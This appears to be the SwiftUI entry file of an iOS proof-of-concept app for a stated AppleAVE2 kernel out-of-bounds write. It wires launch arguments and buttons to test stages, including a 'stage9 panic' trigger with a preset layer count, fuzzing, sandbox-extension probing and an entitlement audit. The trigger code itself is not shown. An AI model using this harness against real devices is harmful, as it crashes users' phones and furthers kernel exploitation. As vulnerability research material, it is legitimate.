Files
ave27/Sources/App.swift
T
JBJF bc019e2b6c AVE27 — standalone POC app for CVE-2026-112705 (AppleAVE2 NTL OOB write)
- All stages ported from MchinaMd57764/AVETemporalPoC (orig. Calif/Chollima):
  stage1-12, 20, 21, fuzz, SBE — launch-arg parity kept
- New: stage13 NTL threshold sweep, stage14 usage×rc acceptance matrix,
  stage15 private-key entitlement audit (23 keys)
- Panic journal: kern.boottime-based in-app panic evidence after reboot
- Interactive SwiftUI console + NTL field + report share; header shows
  PANIC-CAPABLE on iOS 27.0-27.1, FIXED BUILD on 27.2+
- App icon: temporal-layer stack, top layer displaced past the stack edge
- scripts/build-device.sh → unsigned arm64 IPA (iOS 17.0+)
2026-10-30 19:13:13 +08:00

255 lines
12 KiB
Swift
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
// AVE27 · app entry + stage console UI
// Two drive modes:
// 1. launch arguments (parity with the original repo): --stage9 16463, --stage13,
// --fuzz, --sbext, ... same dispatch table as AVETemporalPoC
// 2. interactive: pick a stage, set the layer count, run, watch the live console
// Every launch checks the panic journal first — an unfinished armed run plus a
// changed kernel boot time is reported as the panic that ended it.
import SwiftUI
import UIKit
@main
struct AVE27App: App {
var body: some Scene {
WindowGroup { RootView() }
}
}
/// Bridges the Probe singleton's append-only log to SwiftUI.
final class LogStore: ObservableObject {
@Published var text: String = ""
init() {
Probe.shared.onUpdate = { [weak self] in
let snapshot = Probe.shared.log
DispatchQueue.main.async { self?.text = snapshot }
}
}
}
struct RootView: View {
@StateObject private var store = LogStore()
@State private var ntlText = "16463"
@State private var keyText = "NumberOfTemporalLayers"
@State private var fileText = "avc_900_slices.h264"
@State private var running = false
private var ntl: Int { Int(ntlText) ?? 16463 }
var body: some View {
VStack(spacing: 0) {
header
stageMenu
console
}
.background(Color.black.ignoresSafeArea())
.onAppear(perform: launch)
.toolbar { ToolbarItem(placement: .navigationBarTrailing) { shareButton } }
.preferredColorScheme(.dark)
}
// ── header ────────────────────────────────────────────────────────────
private var header: some View {
HStack(alignment: .firstTextBaseline) {
VStack(alignment: .leading, spacing: 2) {
Text("AVE27")
.font(.system(.headline, design: .monospaced))
Text("CVE-2026-112705 · AppleAVE2 · " + deviceLine)
.font(.system(.caption2, design: .monospaced))
.foregroundStyle(.secondary)
}
Spacer()
Text(panicCapable ? "PANIC-CAPABLE" : "FIXED BUILD")
.font(.system(.caption2, design: .monospaced, weight: .bold))
.foregroundStyle(panicCapable ? Color(red: 1, green: 0.55, blue: 0.2) : .green)
}
.padding(.horizontal).padding(.vertical, 8)
}
private var deviceLine: String {
let os = ProcessInfo.processInfo.operatingSystemVersion
let ver = "\(os.majorVersion).\(os.minorVersion)"
var size = 0
sysctlbyname("hw.machine", nil, &size, nil, 0)
var machine = [CChar](repeating: 0, count: size)
sysctlbyname("hw.machine", &machine, &size, nil, 0)
let model = String(cString: machine)
return "iOS \(ver) · \(model)"
}
/// iOS 27.0 – 27.1 carries the unfixed AppleAVE2; 27.2+ refuses NTL at -12900.
private var panicCapable: Bool {
let os = ProcessInfo.processInfo.operatingSystemVersion
return (os.majorVersion == 27 && os.minorVersion <= 1)
}
// ── stage menu ────────────────────────────────────────────────────────
private var stageMenu: some View {
ScrollView(.horizontal, showsIndicators: false) {
HStack(spacing: 8) {
stageButton("stage9 panic") { Probe.shared.stage9(n: ntl) }
stageButton("stage13 sweep") { Probe.shared.stage13() }
stageButton("stage14 matrix") { Probe.shared.stage14() }
stageButton("stage15 audit") { Probe.shared.stage15() }
stageButton("SBE") { Probe.shared.stageSandboxExtensions() }
Divider().frame(height: 24)
stageButton("stage1 props") { Probe.shared.stage1() }
stageButton("stage7 dump") { Probe.shared.stage7() }
stageButton("fuzz") { Probe.shared.fuzz() }
stageButton("stage5 layer") { Probe.shared.stage5() }
stageButton("stage21 ids") { Probe.shared.stage21() }
Divider().frame(height: 24)
stageButton("stage2 encode") { Probe.shared.stage2(value: ntl) }
stageButton("stage6 dump") { Probe.shared.stage6(num: 4) }
stageButton("stage10 ps") { Probe.shared.stage10(n: 8) }
stageButton("stage11 dpb") { Probe.shared.stage11(n: 24) }
stageButton("stage12 userdpb") { Probe.shared.stage12(n: 24, shape: 1) }
stageButton("stage20 decode") { Probe.shared.stage20(file: fileText) }
stageButton("stage8 key") { Probe.shared.stage8(key: keyText, values: [1, 4, 8, 16, 64]) }
stageButton("stage4 pps") { Probe.shared.stage4(count: 16) }
}
.padding(.horizontal).padding(.bottom, 6)
}
}
private func stageButton(_ label: String, _ action: @escaping () -> Void) -> some View {
Button {
runStage(action)
} label: {
Text(label)
.font(.system(.caption, design: .monospaced))
.padding(.horizontal, 10).padding(.vertical, 6)
.background(RoundedRectangle(cornerRadius: 6).fill(Color(white: 0.14)))
.overlay(RoundedRectangle(cornerRadius: 6).strokeBorder(Color(white: 0.28)))
}
.buttonStyle(.plain)
.disabled(running)
.opacity(running ? 0.4 : 1)
}
private func runStage(_ action: @escaping () -> Void) {
running = true
DispatchQueue.global(qos: .userInitiated).async {
action()
Probe.shared.writeReport()
DispatchQueue.main.async { running = false }
}
}
// ── console ───────────────────────────────────────────────────────────
private var console: some View {
ScrollView {
ScrollViewReader { proxy in
Text(store.text.isEmpty ? "console — pick a stage\nargs mode: --stage9 16463" : store.text)
.font(.system(size: 10.5, design: .monospaced))
.frame(maxWidth: .infinity, alignment: .leading)
.padding(8)
.id("tail")
.onChange(of: store.text) { _, _ in
proxy.scrollTo("tail", anchor: .bottom)
}
}
}
.background(Color(white: 0.06))
.overlay(alignment: .top) { paramRow }
}
private var paramRow: some View {
HStack(spacing: 12) {
VStack(alignment: .leading, spacing: 1) {
Text("NTL").font(.system(.caption2, design: .monospaced)).foregroundStyle(.secondary)
TextField("16463", text: $ntlText)
.keyboardType(.numberPad)
.font(.system(.caption, design: .monospaced))
.frame(width: 84)
.textFieldStyle(.roundedBorder)
}
VStack(alignment: .leading, spacing: 1) {
Text("key / file").font(.system(.caption2, design: .monospaced)).foregroundStyle(.secondary)
TextField("file", text: $fileText)
.font(.system(.caption, design: .monospaced))
.textFieldStyle(.roundedBorder)
}
Spacer()
}
.padding(.horizontal).padding(.vertical, 6)
.background(.thinMaterial)
}
// ── share ─────────────────────────────────────────────────────────────
private var shareButton: some View {
Button {
let docs = FileManager.default.urls(for: .documentDirectory, in: .userDomainMask)[0]
let url = docs.appendingPathComponent("ave_report.txt")
try? Probe.shared.log.write(to: url, atomically: true, encoding: .utf8)
let av = UIActivityViewController(activityItems: [Probe.shared.log as NSString, url],
applicationActivities: nil)
UIApplication.shared.connectedScenes
.compactMap { ($0 as? UIWindowScene)?.keyWindow?.rootViewController }
.first?.present(av, animated: true)
} label: {
Image(systemName: "square.and.arrow.up")
}
}
// ── launch: panic evidence first, then argument dispatch ─────────────
private func launch() {
running = true
DispatchQueue.global(qos: .userInitiated).async {
Probe.shared.checkPanicEvidence()
runFromArguments()
Probe.shared.writeReport()
DispatchQueue.main.async { running = false }
}
}
/// Original repo dispatch, verbatim parity — runs when launch arguments are present.
private func runFromArguments() {
let args = ProcessInfo.processInfo.arguments
let p = Probe.shared
guard args.contains(where: { $0.hasPrefix("--") }) else { return }
if args.contains("--fuzz") { p.fuzz() }
else if args.contains("--sbext") { p.stageSandboxExtensions() }
else if args.contains("--props") { p.stage1() }
else if args.contains("--stage5") { p.stage5() }
else if let i = args.firstIndex(of: "--stage20"), i + 1 < args.count {
p.stage20(file: args[i + 1])
} else if args.contains("--stage21") { p.stage21() }
else if let i = args.firstIndex(of: "--stage12"), i + 1 < args.count {
let shape = (i + 2 < args.count ? Int(args[i + 2]) : nil) ?? 1
let usage = (i + 3 < args.count ? Int(args[i + 3]) : nil) ?? 0
p.stage12(n: Int(args[i + 1]) ?? 3, shape: shape, usage: usage)
} else if let i = args.firstIndex(of: "--stage11"), i + 1 < args.count {
p.stage11(n: Int(args[i + 1]) ?? 3)
} else if let i = args.firstIndex(of: "--stage10"), i + 1 < args.count {
let usage = (i + 2 < args.count ? Int(args[i + 2]) : nil) ?? 0
p.stage10(n: Int(args[i + 1]) ?? 8, usage: usage)
} else if let i = args.firstIndex(of: "--stage9"), i + 1 < args.count {
p.stage9(n: Int(args[i + 1]) ?? 12742)
} else if let i = args.firstIndex(of: "--stage13"), i + 1 < args.count {
let lo = Int(args[i + 1]) ?? 16450
let hi = (i + 2 < args.count ? Int(args[i + 2]) : nil) ?? 16470
p.stage13(lo: min(lo, hi), hi: max(lo, hi))
} else if args.contains("--stage14") { p.stage14() }
else if args.contains("--stage15") { p.stage15() }
else if args.contains("--stage7") { p.stage7() }
else if let i = args.firstIndex(of: "--stage8"), i + 2 < args.count {
let key = args[i + 1]
let vals = args[i + 2].split(separator: ",").compactMap { Int($0) }
p.stage8(key: key, values: vals.isEmpty ? [8] : vals)
} else if let i = args.firstIndex(of: "--stage6"), i + 1 < args.count {
p.stage6(num: Int(args[i + 1]) ?? 1)
} else if let i = args.firstIndex(of: "--stage4"), i + 1 < args.count {
p.stage4(count: Int(args[i + 1]) ?? 16)
} else if let i = args.firstIndex(of: "--encode"), i + 1 < args.count {
func intArg(_ name: String, _ def: Int) -> Int {
guard let j = args.firstIndex(of: name), j + 1 < args.count else { return def }
return Int(args[j + 1]) ?? def
}
p.stage2(value: Int(args[i + 1]) ?? 8,
realtime: !args.contains("--nort"),
efr: intArg("--efr", 30), blr: intArg("--blr", 15))
} else { p.stage1() }
}
}